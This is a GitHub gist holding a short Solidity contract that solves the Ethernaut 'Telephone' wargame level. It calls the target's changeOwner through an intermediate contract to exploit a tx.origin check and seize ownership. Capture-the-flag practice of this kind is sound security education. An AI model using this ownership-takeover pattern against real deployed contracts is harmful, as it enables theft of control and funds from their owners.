Created
June 18, 2023 05:54
-
-
Save nathan-lapinski/dfcd6c3690c258603cdb4a2ed78b6e08 to your computer and use it in GitHub Desktop.
Ethernaut Level 5 (Telephone)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
// Define an interface for the telephone contract | |
interface ITelephone { | |
function changeOwner(address _owner) external; | |
} | |
contract MyContract { | |
// The address of the telephone contract | |
address private telephoneAddress; | |
// Initialize the contract with the telephone contract's address | |
constructor(address _telephoneAddress) { | |
telephoneAddress = _telephoneAddress; | |
} | |
function win() public { | |
ITelephone telephone = ITelephone(telephoneAddress); | |
telephone.changeOwner(msg.sender); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment